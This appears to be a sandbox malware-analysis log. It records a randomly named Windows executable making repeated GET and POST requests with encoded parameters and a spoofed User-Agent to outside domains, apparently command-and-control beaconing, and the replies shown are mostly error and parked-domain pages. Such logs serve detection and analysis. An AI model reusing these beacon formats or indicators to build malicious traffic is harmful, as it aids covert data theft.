QhKxhNP=g6EmDrxOULWqqH+Bdv75rYgtdsfj5JACiCGEdkiN6XsRKa4D55ENXZz5jEdJVSJaYKYe7obnwrUpvc348k7gzj4/d5Be++AHEdJXi4WeQVEr1Ndp4s16iKDc1sfte6NkVrMBqNqLiiefICJ0VwMFjbS19rym8jaimTmcu/I52hhT0luuGcImbLgH2Ou0xg+Wv3QdiMSw98EoWr2CppyHfzwisWYqNIPLTPKUHvNcmQTVZrzJ+Evn6hpmTLkVX3JMf0vYSTkcP55Qvmfu+QTZRHHLyKPuoK3KUtNEY6dTZK5Qqy4pfIgvqB/igUzXWHznn8P2dWpTfpZeVOadfFQWeE404pVH4GKzbnG1m+WZYs+0TwRTOSht0LmjW3rL+knBCY432zUU/Dy1DLcBhRVkMoJqz1pbOPScGnyHsmTuhqW6EAKgZvz0tL7eYatIjyQzuWi91V6LIERdu6vqGwsJ4quhxgIV93x1wvKZ/Np2IiqS1RTCq/aCSOYRxCL3DiRBlG7anGYomvKfvW/c7XahSeRVZbE3gkvEDlDplJSc7a/vbBXC4mZPp2Sav3oOdMQ7O1Lu577FS8NiZV13rXp+dV44TAbtIaSMNSbOQheDGUo0XzjRGq0pAxppZlxNcQE1CFPffoKNyMiHo4GJmA6/apa6vLRDWXm8lGFstjnI2AP6qmCzYD92EZ3lQ8X7vEQlQIe46kswgzPDIr2ktsJD0zqhCB6pxHQbM87t5nxZ34FyswUj64lh9Uio05OaWMp2bf17rU99QZ32P7cI53n/oQrq//Gcn10cfsFhPWP1o2rPzguphQUvQDUBhlXx7Lha4ChMkmOr5eqNcuKAvMbKq3sTzWBDBQFWMq91kVlJyoPg7sEK3LTw6x5Gahd+1nz/du+QMLNAWPTe8lWdGuL9Slv9mvo1BWjBOP/y38edduBPVu43uYCAtan3LKRHcR5T55QCqZLJ0SE4bd/Nyx3L6fx7OOahVGduxwDwe4lF8nQY [TRUNCATED]
Nov 28, 2024 09:16:16.455202103 CET	533	IN	HTTP/1.1 404 Not Found Date: Thu, 28 Nov 2024 08:16:16 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	50018	199.192.23.123	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:16:17.776678085 CET	543	OUT	GET /d5up/?QhKxhNP=t4sGAbB2VavWqiiIadPUj68mTJ7Q54MapR6mUVHY3SwgNZVHyOwsTaauiAAffAhHdKJKrrjT+NERuNHfq0vx0hlOGr9kxI5wEfZ1g7ObOVlc/eoN6Msnk6zs6578MLwdAQ==&Yby=d2ydCtHpb8 HTTP/1.1 Host: www.learnnow.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Nov 28, 2024 09:16:19.104046106 CET	548	IN	HTTP/1.1 404 Not Found Date: Thu, 28 Nov 2024 08:16:18 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	50019	52.60.87.163	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:16:24.896471024 CET	802	OUT	POST /jcsf/ HTTP/1.1 Host: www.carpentry.club Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 208 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.carpentry.club Referer: http://www.carpentry.club/jcsf/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 51 68 4b 78 68 4e 50 3d 41 4c 67 75 72 55 47 47 6d 4d 44 58 47 77 46 6c 50 76 38 74 79 6f 58 31 45 6e 6b 70 79 51 59 58 74 4f 68 4b 50 46 55 39 2b 59 4b 51 76 44 57 78 63 46 52 43 43 71 69 2b 77 37 4d 6e 45 70 76 61 44 33 37 38 50 76 36 66 45 79 6b 74 72 67 61 71 74 47 4e 75 6c 4f 65 6d 4d 74 4b 51 45 70 77 7a 69 68 4b 44 4e 68 76 52 77 2b 61 34 66 6d 6b 52 41 44 61 65 63 47 7a 79 51 69 32 4b 78 72 42 4d 5a 32 4d 56 46 2f 4d 39 52 66 4e 63 4f 36 64 42 6a 56 34 53 77 36 64 4a 54 55 68 70 64 33 4b 33 33 72 66 6a 4c 6c 36 42 32 72 35 4d 77 52 7a 62 72 4d 72 51 41 62 37 64 76 4a 55 4c 6e 4f 55 30 4b 68 66 79 50 48 51 3d Data Ascii: QhKxhNP=ALgurUGGmMDXGwFlPv8tyoX1EnkpyQYXtOhKPFU9+YKQvDWxcFRCCqi+w7MnEpvaD378Pv6fEyktrgaqtGNulOemMtKQEpwzihKDNhvRw+a4fmkRADaecGzyQi2KxrBMZ2MVF/M9RfNcO6dBjV4Sw6dJTUhpd3K33rfjLl6B2r5MwRzbrMrQAb7dvJULnOU0KhfyPHQ=
Nov 28, 2024 09:16:26.085532904 CET	295	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Thu, 28 Nov 2024 08:16:25 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	50020	52.60.87.163	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:16:27.565336943 CET	822	OUT	POST /jcsf/ HTTP/1.1 Host: www.carpentry.club Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 228 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.carpentry.club Referer: http://www.carpentry.club/jcsf/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 51 68 4b 78 68 4e 50 3d 41 4c 67 75 72 55 47 47 6d 4d 44 58 48 52 56 6c 4a 49 41 74 30 49 58 79 61 33 6b 70 6e 41 59 54 74 4f 74 4b 50 45 51 74 2b 75 79 51 73 69 6d 78 64 45 52 43 42 71 69 2b 37 62 4e 6a 41 70 76 52 44 33 48 72 50 74 75 66 45 79 67 74 72 69 53 71 71 33 4e 70 71 2b 65 6b 41 4e 4b 65 4a 4a 77 7a 69 68 4b 44 4e 68 72 2f 77 2b 79 34 65 56 38 52 42 69 61 64 43 32 7a 31 61 43 32 4b 36 4c 41 6b 5a 32 4e 41 46 2b 51 54 52 64 6c 63 4f 2b 52 42 6d 52 73 54 2b 36 64 44 5a 30 67 48 56 43 72 6b 33 4c 62 79 50 6b 69 43 68 61 78 70 38 48 43 78 78 75 6a 34 54 37 58 6c 2f 61 63 38 32 2b 31 64 51 43 50 43 52 51 45 42 51 41 6a 55 6c 50 68 34 69 6b 53 6b 67 5a 5a 36 57 54 64 66 Data Ascii: QhKxhNP=ALgurUGGmMDXHRVlJIAt0IXya3kpnAYTtOtKPEQt+uyQsimxdERCBqi+7bNjApvRD3HrPtufEygtriSqq3Npq+ekANKeJJwzihKDNhr/w+y4eV8RBiadC2z1aC2K6LAkZ2NAF+QTRdlcO+RBmRsT+6dDZ0gHVCrk3LbyPkiChaxp8HCxxuj4T7Xl/ac82+1dQCPCRQEBQAjUlPh4ikSkgZZ6WTdf
Nov 28, 2024 09:16:28.752336025 CET	295	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Thu, 28 Nov 2024 08:16:28 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	50021	52.60.87.163	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:16:30.232676029 CET	1839	OUT	POST /jcsf/ HTTP/1.1 Host: www.carpentry.club Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 1244 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.carpentry.club Referer: http://www.carpentry.club/jcsf/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 51 68 4b 78 68 4e 50 3d 41 4c 67 75 72 55 47 47 6d 4d 44 58 48 52 56 6c 4a 49 41 74 30 49 58 79 61 33 6b 70 6e 41 59 54 74 4f 74 4b 50 45 51 74 2b 75 36 51 73 51 75 78 64 6a 6c 43 41 71 69 2b 6c 72 4e 75 41 70 76 4d 44 7a 71 44 50 74 79 70 45 77 49 74 78 48 47 71 72 45 56 70 78 75 65 6b 49 74 4b 66 45 70 77 6d 69 6e 71 48 4e 68 37 2f 77 2b 79 34 65 53 45 52 52 44 61 64 41 32 7a 79 51 69 32 47 78 72 41 66 5a 31 39 51 46 2b 56 6d 52 4d 46 63 4f 65 42 42 68 79 55 54 32 36 64 46 65 30 67 70 56 43 75 38 33 4c 58 2b 50 6b 58 70 68 64 31 70 34 78 79 6f 72 75 66 39 46 71 36 47 76 4c 63 35 33 4a 45 39 58 52 54 43 4d 69 70 6b 62 53 6a 6b 6e 62 5a 34 6f 47 76 74 69 66 46 78 42 6b 45 4f 4f 47 4f 39 68 74 4c 66 6c 57 67 79 43 42 5a 37 62 42 48 66 66 58 6f 36 73 4e 38 58 46 45 2f 36 5a 73 41 73 51 2b 70 33 6a 65 68 53 56 4d 68 5a 70 2b 30 37 53 74 67 5a 4a 6e 37 4c 59 48 32 4b 65 38 79 2f 74 4d 44 4e 77 50 57 61 70 44 6b 4c 4a 4d 71 56 5a 75 47 74 33 46 39 36 45 54 43 4d 4e 79 43 34 7a 54 2b 46 4e 62 6d 75 58 79 [TRUNCATED] Data Ascii: QhKxhNP=ALgurUGGmMDXHRVlJIAt0IXya3kpnAYTtOtKPEQt+u6QsQuxdjlCAqi+lrNuApvMDzqDPtypEwItxHGqrEVpxuekItKfEpwminqHNh7/w+y4eSERRDadA2zyQi2GxrAfZ19QF+VmRMFcOeBBhyUT26dFe0gpVCu83LX+PkXphd1p4xyoruf9Fq6GvLc53JE9XRTCMipkbSjknbZ4oGvtifFxBkEOOGO9htLflWgyCBZ7bBHffXo6sN8XFE/6ZsAsQ+p3jehSVMhZp+07StgZJn7LYH2Ke8y/tMDNwPWapDkLJMqVZuGt3F96ETCMNyC4zT+FNbmuXyGYzvKAUDv1+rFNUx5TsD4FC+zSNWqaUEbNLnHpc8YqjbyNh1CmL1aaPYfibZdI7dxZdhMR7eqR61aR63bWAC2sLyTiNsW1Lny/nKm2oGBLprFsL64+O4kDgIu5bK5zMCOEYHhdurcekE+zJESkHg0Eut8Wcw3ceam4I6BVo05gG3qb45wCihQ9umQlMuWYndwQzANPaNPMKjuTKC04LsKH/9oHgACP4/gVN/aH1JnJQdkfrD91/Dc6HLmXqaMpiKm6pFsGYxpXHJe05zOyYUGwPT2k/58nuJyo7QPEdu+i84XQO1K8sZ1QuIlwKqohhckrdv48ATjYj/FuFICmtqb48AEBCHYajLUxw+udqOyHM2T9acvPUmDU+2fvpN70evKaf25YYIpN10LfNAXZz29DW8Qe9tjePTRbS/1Bx9O/wiEN7gzQLEathTaFHDFn8/2USSj24pd6aCG5CPDCeltpj5pzR9PRFIO87x4dHvHhjspUMLd+ogkXuzwNzQmDQDXs7hlPH9/JF3rmPtgUMpzmovTGJDANA4e6sV7Nic6Ofqrrvd3v+SqxjS3xJGN5xqFsqBkspz4tomATB5E4h7/N8pBD5Q4rEzByEgccQ6aZ1oUbvY5Uq7JyYCaDjYrZW8w7GzxJPs9jSr4wwZtVA4vK2FKoCY6+vNX5 [TRUNCATED]
Nov 28, 2024 09:16:31.380040884 CET	295	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Thu, 28 Nov 2024 08:16:31 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	50022	52.60.87.163	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:16:32.883420944 CET	544	OUT	GET /jcsf/?QhKxhNP=NJIOohqps9aNaGk8Gv0x95TXV1ke4jY2ru9PIld0z7+iuCSmXzhmM46cxc5xGqvTMH7YV8ukdWwIlgb06ERZu+HhQde6PspHhBqQKwPZwv/EXFgjFQrkOjXlWxa7+IRGPg==&Yby=d2ydCtHpb8 HTTP/1.1 Host: www.carpentry.club Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Nov 28, 2024 09:16:34.075501919 CET	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Nov 2024 08:16:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 17692 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: max-age=604800 Expires: Sun, 01 Dec 2024 08:16:31 +0000 Content-Security-Policy: default-src 'self' 'unsafe-inline' https://park.101datacenter.net https://*.deviceatlascloud.com/ https://cs.deviceatlas-cdn.com data: Access-Control-Allow-Origin: https://park.101datacenter.net X-Frame-Options: SAMEORIGIN X-Cached: HIT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 46 75 74 75 72 65 20 68 6f 6d 65 20 6f 66 20 63 61 72 70 65 6e 74 72 79 2e 63 6c 75 62 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 44 6f 6d 61 69 6e 20 4e 61 6d 65 20 52 65 67 69 73 74 72 61 74 69 6f 6e 20 2d 20 72 65 67 69 73 74 65 72 20 79 6f 75 72 20 64 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 6c 69 6e 65 2c 61 6e 64 20 67 65 74 20 74 68 65 20 6e 61 6d 65 20 79 6f 75 20 77 61 6e 74 20 77 68 69 6c 65 20 69 74 27 73 20 73 74 69 6c 6c 20 61 76 61 69 6c 61 62 6c 65 2e 20 49 6e 74 65 72 6e 65 74 20 44 6f 6d 61 69 6e 20 52 65 67 69 73 74 72 61 74 69 6f 6e 20 26 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 20 44 6f 6d 61 69 6e 20 4e 61 6d 65 20 52 65 67 69 73 74 72 61 74 69 6f 6e 2e 22 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 [TRUNCATED] Data Ascii: <!DOCTYPE html><html dir="ltr" lang="en" ><head><title>Future home of carpentry.club</title><meta name="description" content="Domain Name Registration - register your domain name online,and get the name you want while it's still available. Internet Domain Registration & International Domain Name Registration."><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0" /><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" /><meta name="robots" content="index, follow" /><meta name="googlebot" content="index, follow" /><meta NAME="revisit-after" CONTENT="15 days"><script type="text/javascript">resource_url = decodeUR
Nov 28, 2024 09:16:34.075728893 CET	1236	IN	Data Raw: 49 43 6f 6d 70 6f 6e 65 6e 74 28 27 68 74 74 70 73 25 33 41 25 32 46 25 32 46 70 61 72 6b 2e 31 30 31 64 61 74 61 63 65 6e 74 65 72 2e 6e 65 74 27 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 Data Ascii: IComponent('https%3A%2F%2Fpark.101datacenter.net');</script><link rel="shortcut icon" href="https://park.101datacenter.net/images/vendor-1/icon/101domain.ico"><link rel="preload" as="font" type="font/woff2" crossorigin="anonymous" href="htt
Nov 28, 2024 09:16:34.075742960 CET	1236	IN	Data Raw: 29 20 32 25 7d 2e 70 61 67 65 2d 72 6f 77 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 7d 2e 72 6f 77 5f 66 75 6c 6c 7b 67 72 69 64 Data Ascii: ) 2%}.page-row{display:flex;position:relative;flex-direction:column}.row_full{grid-column:2/span 12}.col-base{position:relative;display:flex;flex-direction:column;align-items:center}.page-footer.centered,.page-header.centered,.page-section.cen
Nov 28, 2024 09:16:34.076488018 CET	1236	IN	Data Raw: 65 6c 6c 20 2e 63 6f 6c 2d 62 61 73 65 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31 70 78 20 73 6f 6c 69 64 20 23 64 31 64 65 65 33 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 2e 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a Data Ascii: ell .col-base{border-bottom:1px solid #d1dee3;padding-bottom:1.5rem;margin-bottom:1.5rem}.upsell .col-base:last-child{border-bottom:none;padding-bottom:0;margin-bottom:0}.upsell h3{margin:0 0 1rem 0;display:flex;align-items:center;justify-cont
Nov 28, 2024 09:16:34.076514959 CET	896	IN	Data Raw: 6c 20 2e 63 6f 6c 2d 62 61 73 65 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 3b 62 6f 72 64 65 72 2d 72 69 67 68 74 3a 31 70 78 20 73 Data Ascii: l .col-base{border-bottom:none;padding-bottom:0;margin-bottom:0;border-right:1px solid #d1dee3;padding-right:1.5rem;margin-right:1.5rem;display:flex;flex-direction:column;justify-content:space-between;min-height:12rem}.upsell .col-base:last-ch
Nov 28, 2024 09:16:34.077272892 CET	1236	IN	Data Raw: 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 37 37 2e 30 36 33 65 6d 29 7b 2e 75 70 73 65 6c 6c 20 2e 63 6f 6c 2d 62 61 73 65 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 38 72 65 6d 7d 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 Data Ascii: nd (min-width:77.063em){.upsell .col-base{min-height:8rem}}</style></head><body><svg xmlns="http://www.w3.org/2000/svg" style="display: none;"><symbol id="user-icon" viewBox="0 0 21.11 24.13" ><path d="M10.56,12.06c3.33,0,6.03-2.7,6.03-6
Nov 28, 2024 09:16:34.077286959 CET	1236	IN	Data Raw: 6d 62 6f 6c 3e 0a 3c 73 79 6d 62 6f 6c 20 69 64 3d 22 73 65 61 72 63 68 2d 69 63 6f 6e 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 32 2e 36 32 20 32 32 2e 36 32 22 3e 0a 3c 70 61 74 68 20 64 3d 22 4d 32 32 2e 33 31 2c 31 39 2e 35 36 6c 2d 34 Data Ascii: mbol><symbol id="search-icon" viewBox="0 0 22.62 22.62"><path d="M22.31,19.56l-4.41-4.4c-0.2-0.2-0.47-0.31-0.75-0.31h-0.72c1.22-1.56,1.94-3.52,1.94-5.65C18.38,4.11,14.27,0,9.19,0 C4.11,0,0,4.11,0,9.19c0,5.08,4.11,9.19,9.19,9.19c2.13,0,4.1-0.
Nov 28, 2024 09:16:34.078151941 CET	1236	IN	Data Raw: 38 48 30 2e 36 39 43 30 2e 33 31 2c 32 32 2e 34 2c 30 2c 32 32 2e 37 31 2c 30 2c 32 33 2e 30 39 76 30 2e 36 39 63 30 2c 31 2e 35 32 2c 31 2e 32 35 2c 32 2e 37 36 2c 32 2e 37 38 2c 32 2e 37 36 68 32 32 2e 32 34 63 31 2e 35 33 2c 30 2c 32 2e 37 38 Data Ascii: 8H0.69C0.31,22.4,0,22.71,0,23.09v0.69c0,1.52,1.25,2.76,2.78,2.76h22.24c1.53,0,2.78-1.24,2.78-2.76 v-0.69C27.79,22.71,27.48,22.4,27.1,22.4z"/></symbol><symbol id="no-icon" viewBox="0 0 27.68 26.64"><path d="M24.91,6.58c0-1.14-0.93-2.08-2.08-
Nov 28, 2024 09:16:34.078170061 CET	1236	IN	Data Raw: 2c 30 2c 32 2e 32 37 76 31 35 2e 31 31 63 30 2c 31 2e 32 35 2c 31 2e 30 32 2c 32 2e 32 37 2c 32 2e 32 37 2c 32 2e 32 37 68 39 2e 30 37 6c 2d 30 2e 37 36 2c 32 2e 32 37 68 2d 33 2e 34 63 2d 30 2e 36 33 2c 30 2d 31 2e 31 33 2c 30 2e 35 31 2d 31 2e Data Ascii: ,0,2.27v15.11c0,1.25,1.02,2.27,2.27,2.27h9.07l-0.76,2.27h-3.4c-0.63,0-1.13,0.51-1.13,1.13 c0,0.63,0.5,1.13,1.13,1.13h12.85c0.63,0,1.13-0.51,1.13-1.13c0-0.63-0.51-1.13-1.13-1.13h-3.4l-0.76-2.27h9.07 c1.25,0,2.27-1.02,2.27-2.27V2.27C27.21,1.02,2
